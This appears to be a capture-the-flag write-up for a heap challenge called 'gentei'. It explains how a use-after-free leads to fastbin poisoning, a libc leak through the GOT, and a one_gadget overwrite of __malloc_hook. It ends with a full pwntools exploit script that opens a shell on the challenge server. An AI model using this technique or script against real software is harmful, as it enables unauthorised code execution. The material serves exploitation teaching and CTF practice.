Overview

We are given a classic heap menu with the options to:

  1. malloc 0x18 chunks
  2. free the chunks
  3. print chunk contents
  4. edit chunk contents
  5. malloc 0x88 chunks that you cannot interact with using 1-4, unused for this attack

Vulnerability

The vulnerability in this challenge in the free implementation, as it lacks a very important step

  • 0’ing out the pointer.

x

This means that even after we free the chunk we can use the print and edit operation on it.

Controlling chunk placement

Having an UAF means we can poison the libc fastbins linked list to place a chunk anywhere we want in memory.

For example if we run these operation we can place a chunk at 0x13371337

for i in range(3):
    create(i, b'A')
for i in range(3,6):
    create(i, b'A')
for i in range(3,5):
    delete(i)
edit(4,p64(0x13371337))

x

Note that chunks 0,1,2 and 5 are just padding

Arbitrary read/write

Now that we can control where we place chunks, what do we do to get read/write?

We can’t just place them anywhere in memory as libc has a pretty annoying size check which we will hit if we don’t place the chunk at an address that has a valid size for the 0x20 fastbin.

x

With this in mind I decided to target the array the program used to store the chunk pointers.

To bypass the check I relied on the fact that pointers have random bytes due to ASLR so I could sometimes pass this check, only requiring me to run the exploit multiple times.

After placing a chunk on the pointer array our job was pretty much done, as we could modify the pointers the program thought were to the chunks, and,through print and edit, read and write anywhere in the binary.

To get a libc leak, I just modified a pointer to a GOT address which holds libc pointers and printed.

And for RCE, I went for the classic one_gadget in malloc_hook since the libc version was 2.25

Exploit script

Here is final exploit script, note that it required multiple runs as we relied on the ASLR bytes being optimal.

from pwn import *

elf = context.binary = ELF("gentei")
libc = ELF(elf.runpath + b"/libc.so.6") # elf.libc broke again
context.log_level = 'debug'
host, port = '35.246.139.54',32561

def newp():
    if args.REMOTE:
        return remote(host, port)
    return process(elf.path)

def create(index, data):
    p.sendlineafter("> ", "1")
    p.sendlineafter("Index: ", str(index).encode())
    p.sendlineafter("Guess: ", data)
def delete(index):
    p.sendlineafter("> ", "2")
    p.sendlineafter("Index: ", str(index).encode())
def show(index):
    p.sendlineafter("> ", "3")
    p.sendlineafter("Index: ", str(index).encode())
    return p.recv(6)
def edit(index,data):
    p.sendlineafter("> ", "4")
    p.sendlineafter("Index: ", str(index).encode())
    p.sendlineafter("guess: ", data)



p = newp()

for i in range(3):
    create(i, b'A')
for i in range(3,6):
    create(i, b'A')
for i in range(3,5):
    delete(i)

## Place chunk 7 on pointer array
edit(4,p64(0x602123))
create(6, b'A')
create(7, b'A')

## Now if we modify chunk 7 which is over the pointer array, we can overwrite the pointer to chunk 3 and use that for read/write

## Leak libc
GOT_addr = 0x602028
edit(7,b'B'*5 + p64(GOT_addr))
leak = show(3)
print(leak)
leak = u64(leak.ljust(8,b'\x00'))
print(hex(leak))
libc_base = leak - 429424
print(f'libc_base: {hex(libc_base)}')


## Overwrite malloc_hook with one_gadget
one_gadget = libc_base + 0xd6fb1
malloc_hook = libc_base + libc.sym['__malloc_hook']
edit(7, b'B'*5 + p64(malloc_hook))
edit(3, p64(one_gadget))

## Trigger malloc to get shell
p.sendlineafter("> ", "1")
p.sendlineafter("Index: ", "8")

p.interactive()

Conclusion

This was a fun heap challenge showcasing how damaging an UAF can be, hope you learned something new.